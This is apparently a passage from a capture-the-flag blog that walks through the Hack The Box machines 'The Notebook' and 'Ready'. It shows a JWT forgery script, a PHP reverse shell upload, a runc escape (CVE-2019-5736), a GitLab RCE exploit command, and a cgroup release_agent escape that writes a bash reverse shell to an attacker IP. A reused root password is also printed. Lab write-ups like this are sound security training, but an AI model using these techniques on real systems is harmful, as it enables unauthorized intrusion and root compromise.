eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4zNy9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InNlY25pZ21hIiwiZW1haWwiOiJzZWNuaWdtYUB0ZXN0LmNvbSIsImFkbWluX2NhcCI6IjEifQ.dUvKHGgWZVlib0SrhjtDi1o-2Z-x72xNwx76fTZT547G1N2y1-AyTaw5F04IYPEvqvYlRnYt1Ih3d4eb3-ka9wp0M5oj0nIj44Fml6ouRxdxKRKQ-8eNOqFYRFxaNGG9oypHpvTVf8oC3u2X8lpUkd5MfVJhGXe-vcH7s8K6pij2cP6Ba-CB-oiJIHF8KQUKhJ6VZfZqg9j8XWWKrIZARNh1KpGlNjXeNBopyXT8Q-YWg-rjWVa-G7WKQu-n_jr9hsQ4VYT1PJidYjeVN3nqui7x_7BzGHdhiv7_p2dIxxJQxEED1f44_-vuuMwhG1y9Os4YROCn5EkFM2pCoEYRnKvK3JMawzpno0NTIVpOXArC5eAYIUG5jjQUb93iXIpxHAhS4AtaQ6JNH0ezt1JoLSi0lORUbgjxnrItpGcbF0uzXbchqZZsHMExNYm4684EMTsK_pQvk9dN-6uLXjhblRBBWwdU434pCCiylIgT-cgDroW0T8aRFyuggGo8fKhoxGGSMOI4s6wXtIksPmidR0rxQlxQyzmFKPoyXl1hHTKtjjWuSe5S2oJbTSsHbo8f7aYvHoSy1Ua3kEIopkf8D_lGzFgdEhmUXGwhnAwWJclbSuEYCUURdAUthH8i0Ncfxyn3jbx5zyQDL24NQMcY0OaECrJ3QPRuhTdfG7ItLdU

I have skipped the signature part, since that is optional and as of right now, this is just a PoC to verify that the target looks for the privKey.key file from our machine.

I started a python server, pasted the JWT in my web browser’s auth cookie field and refreshed the page.

And I got a hit on my python http server!

Now, the picture is clear.

The parameter that controls the authenticity of the JWT and the parameter that controls the administrator privilege is user controllable. So, we have to generate an RSA key named privKey.key, create a custom JWT token signed by our privKey.key file, with admin_cap set to 0.

Crafting custom JWT token

Let’s generate a private key using ssh-keygen and openssl. Source.

ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key

To generate public key, we can use the following command. But, that isn’t required in our case.

# Given the name of private key is `privkey.key`
openssl rsa -in privKey.key -pubout -outform PEM -out privKey.key.pub

Now, that we have the privKey.key file ready, we can use this file to generate our required token.

I made a small python script to do this.

#!/usr/bin/python3

import jwt
from cryptography.hazmat.primitives import serialization

with open("privKey.key", "rb") as key_file:
    private_key = serialization.load_pem_private_key(
    key_file.read(),
    password=None,
    backend=default_backend()
    )
encoded = jwt.encode({"username":"secnigma","email":"secnigma@test.com","admin_cap":"1"}, private_key, algorithm="RS256", headers={"kid":"http://10.10.14.37/privKey.key"},)

print(encoded)

And it generated the JWT token gracefully!

I copied the token and pasted it in the web browser’s auth cookie field.

Then, I started a python web server and refreshed the web browser.

Got a hit!

And I was in!

Hacker GIFs | Tenor

Once I was logged in, I looked around and the admin page had some clues in the /notes page.

Clue #1
Clue #2

Clue #2 is to look after gaining the initial shell. So, let’s focus on Clue #1 at the moment.

The /admin directory had an Upload File button.

So, I uploaded a PHP reverse shell to it and it was uploaded successfully and showed me a View button.

So, I started a nc listener and clicked View.

And I got a shell back as www-data.

Logging in as Noah

Clue #2 suggested something about backups. So, if we look at /var/backups, then we can see a home.tar.gz file.

If we extract that, we will get the backup of user noah‘s home directory. Inside that, we can find the SSH keys.

So, I used the following command to login as Noah using the private key.

ssh -i id_rsa noah@10.10.10.230

And I was in as Noah!

Privilege Escalation

Running sudo -l as noah shows that he can run a docker container named webapp-dev01.

So, I ran the following command to log into the docker container.

sudo /usr/bin/docker exec -it webapp-dev01 bash

We are root inside the container and I could some some python web app files.

This was the source code of The Notebook program and the file named create_db.py contained SHA265 hashes for users admin and noah.

I tried to crack it with Hashcat, but it didn’t cracked.

So, I moved on to enumerate inside the docker container.

I ran docker enum script deepce, but didn’t find anything interesting, except that the docker container had some capabilities.

I tried out some exploits according to the capabilities, but they didn’t worked.

So, I exited the container and checked the docker version using the following command.

docker -v
The docker version is 18.06.0-ce

I looked vulnerabilities for the docker version and found that this version of docker was affected by a runc container escape vulnerability (CVE-2019-5736).

runC as explained by docker.com is a lightweight, portable container runtime. It includes all of the plumbing code used by Docker to interact with system features related to containers.

I knew about this vulnerability, but didn’t got a chance to exploit it. Well now’s my time.

This exploit code is written in go and we have to compile it and transfer the static binary to the container.

The exploit works by overwriting and executing the host systems runc binary from within the container.

It achieves this by overwriting /bin/sh in the container with #!/proc/self/exe which will point to the binary that started this process (the Docker exec/runcinit). After that, the script can then proceed to write to the target of /proc/self/exe to try and overwrite the runc binary on the host. More info from here.

This exploit will wait for some one to execute docker exec /bin/sh and when that happens, this will trigger the exploit which will allow code execution as root in the host machine.

The side effect of this exploit is that we are overwriting our implementation of runc which will ensure our system will no longer be able to run Docker containers. So, in real life cases, backup the runc file (either /usr/bin/docker-runc or /usr/bin/runc) before using this exploit.

I cloned the repo andedited the payload to netcat traditional payload.

Then I compiled the exploit by using the following command.

go build main.go

Then I moved the binary to the docker container and ran the binary.

Then on a different SSH session, I issued the following command since, we have overwritten the /bin/sh binary.

sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

The exploit binary detected this.

And I got a root shell back!

Yup. W00t!

Postlude

And that was The Notebook!

This was a great box and I’ve learned several things from this box.

Kudos to mostwanted002 for creating this box!

Peace out! ✌️

Hack The Box: Ready

Prelude

As evident from the title, I am in the process of migrating from abatchy’s OSCP like vulnhub machines list to other platforms. So, I decided to go with Hack The Box and Try Hack Me. HTB is actually a huge leap in comparison with vulnhub boxes and Try Hack Me, but nevertheless it is a great platform.

My goal is to start with HTB easy boxes and THM’s easy rooms. Then once a comfortable number of easy boxes/machines are rooted in both platforms, move on to their intermediate machines/rooms.

This machine Ready was marked as an Easy machine, however the “easiness” is relative. Quoting vulnhub here, What you find “hard”, other people may find “easy” and vice versa.

Overall, this machine was a roller coaster ride. Getting initial foothold was straight forward. But as a beginner to gitlab configurations and docker escapes, this felt like an easy-intermediate machine and since free users can’t reset the machines (as easily as VIP), the container escape was a painfully long process of waiting for reset and trying out the exploit.

Overall this machine was an incredible learning experience in pentesting and maintaining patience.

The Love Notepad (Inazuma Eleven All Series Oneshot) - • Fujiwara Chika (  GIF ) • | Anime faces expressions, Anime, Anime expressions

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.220

And the result I got is as follows.

Nmap scan report for 10.10.10.220
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 AA:22:CC:44:DD:66:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 AA:22:CC:44:DD:66:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 AA:22:CC:44:DD:66:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  3 13:46:18 2021 -- 1 IP address (1 host up) scanned in 20.87 seconds

We have two ports open.

Googling the OpenSSH version showed that the target version as Ubuntu Focal.

After finding out the target OS, I proceeded to enumerate port 5080.

Navigating to http://10.10.10.220:5080 showed the a Gitlab front page.

Since, I don’t have any credentials, I signed up for an account.

After I logged in, I navigated to http://10.10.10.220:5080/help to find the version.

PRO TIP #1: We can also navigate to http://10.10.10.220:5080 /api/v4/version to find the version (After Authentication).

Searchsploit-ing the version has showed an Authenticated RCE exploit!

I ran the 49334.py exploit by using the following command with the credentials I used to signup to GitLab.

python 49334.py -u secnigma -p test1234 -g http://10.10.10.220 -l 10.10.14.89 -P 9001

And I got a shell back!

EZPZ Right!?

PRO TIP #2: We should always start the netcat listener inside a bash shell, since ZSH won’t upgrade our shell to a full TTY using the stty raw -echo method.

I was logged into the machine as git user.

There was not too much to go around except for the user flag at /home/dude directory.

So, I started the LinPEAS enumeration. But, there wasn’t anything too interesting in LinPEAS output; or so I thought.

However, there were some curious things in the LinPEAS report, which I missed in my initial speed read.

For starters, LinPeas reported that we were inside a docker container.

So, probably the privesc vector might be escaping the docker container.

So, I started to look around Docker escape techniques and came up with two exploits; which will be explained below.

Docker Container escape techniques

Like I said above, I have found two potential container escape techniques. One was a CVE and the other was an exploitation technique based on container misconfiguration.

The first exploit I found was CVE-2019-5736. This exploit escapes docker container by overwriting and executing the host system’s runc binary from within the container. runc is a CLI tool for spawning and running containers according to the OCI specification.

The second container escaping technique I found was this (Second PoC). You can learn more about this technique from this blog post. This technique exploits a misconfigured docker container that meets the following criteria:

  1. We must be running as root inside the container
  2. The container must be run with the SYS_ADMIN Linux capability
  3. The container must lack an AppArmor profile, or otherwise allow the mount syscall
  4. The cgroup v1 virtual filesystem must be mounted read-write inside the container

I have found the fdisk binary at /sbin using find /-type f -name fdisk 2>/dev/null.

I can use the mount command to view mount points. The output of the command showed me that cgroup virtual filesystem has mounted as read-write inside the container .

I still don’t know if the fs is cgroup v1 or not, but let’s hope it is.

So, In theory, if I got a root shell on the container and if the container is was running with all the criteria mentioned above, then I could escape the container.

But, since these exploitation techniques I found requires me to have root access on the container, I couldn’t test them out.

Can you imagine my frustration!?

Frustrated Woman GIFs - Get the best GIF on GIPHY

So, I took a break to cool of my mind.

When I returned, I started re-reading the LinPEAS output like crazy, but nothing stood out.

Then I went to htb forums to get some nudges. There was n number of comments telling different things. However, one comment in particular stood out. Someone said something about reading configuration files.

Getting root inside Docker

So, I went back and looked for configuration files found in LinPEAS and began to grep them for the string password one by one.

I then noticed that GitLab has a PostgresSQL database as a running process. So, I googled the location of PostgreSQL configuration file to find potential passwords.

My idea was to login to PostgreSQL using the credentials in the configuration file and check for password re-use. The location of the GitLab configuration was found to be at /etc/gitlab/gitlab.rb.

However, /etc/gitlab/gitlab.rb was not accessible due to permissions.

So, I searched for gitlab.rb files system wide.

find / -type f -name gitlab.rb 2>/dev/null

And found out several gitlab.rb files!

That was a dumb thing to do and I still don’t know why I did that. However, that was fruitful!

So, I grep-ed every gitlab.rc file for the string password.

grep -i password /opt/backup/gitlab.rb|grep -v ^#

And found an SNMP password at /opt/backup/gitlab.rc.

Then I tried the password for password reuse.

su root
Password:wW59U!ZKMbG9+*#h

And I was in!

Was it as easy as it looks?

The Pursuitof Happyness Clap GIF - ThePursuitofHappyness Clap Satisfied -  Discover & Share GIFs
No sir it wasn’t.

As I thought, there wasn’t a root flag inside docker container.

Moving on…

Escaping Docker Container

I have got root. Now it’s time to bring my arsenal.

I have tried the first exploit. It involved building an executable in go and dropping the binary in the container. But, that didn’t work.

So, I tried the second escape technique; which was easy, since it only required to execute a set of commands, thanks to hacktricks.xyz.

I issued the following commands inside the container as root.

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.10.14.89/9001 0>&1" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

And I got a shell back!

Woot Woot!

Now, full disclaimer I didn’t get the root flag the first time the way I explained above. I got root by an unintended way (explained below) as the above exploit wasn’t working at that time.

So, I waited a painfully long period for the machine to be reset, tried the above exploit again and got root shell the second time. The unintended way was quite promising; however, no matter what I tried, I couldn’t get a Shell via the unintended way. Oh well!

Unintended way of getting root flag

The unintended way is explained in the same hacktricks.xyz article as I’ve mentioned above (First PoC). This didn’t work completely for some reason, but I could mount the host fs inside the docker container!

To perform this, the container should meet the following criteria.

  1. We must be running as root inside the container
  2. Running docker with –privileged flag
fdisk -l
mkdir /tmp/test
mount /dev/sda2 /tmp/test

Now, I could navigate through the file system and find the root flag that way!

Now, I tried to drop SSH keys inside the host’s file system and tried to login to the host via SSH.

ssh root@10.10.10.220

But, that failed miserably no matter what I tried. Oh Well!

Edit: This issue might’ve happened probably because the machine were in a messed up state, as others who wrote writeup for Ready have escalated privileged through this method fairly easily.
One reset could’ve made this worked for me, but I was all out of resets at that time!  
😅 
Links to the walkthrough is given below:
Video of IppSec

Overall, this was a great box and I have learned some cool misconfigurations and vulnerabilities to look out for. Also, this machine reassured that how important it is to have basic linux skills in the domain of Infosec, as without find and grep, I would’ve never solved this machine! 😅

So, thanks to bertolis for creating this machine, Dick Haight for developing find and Ken Thompson for finding the venerable grep! 😄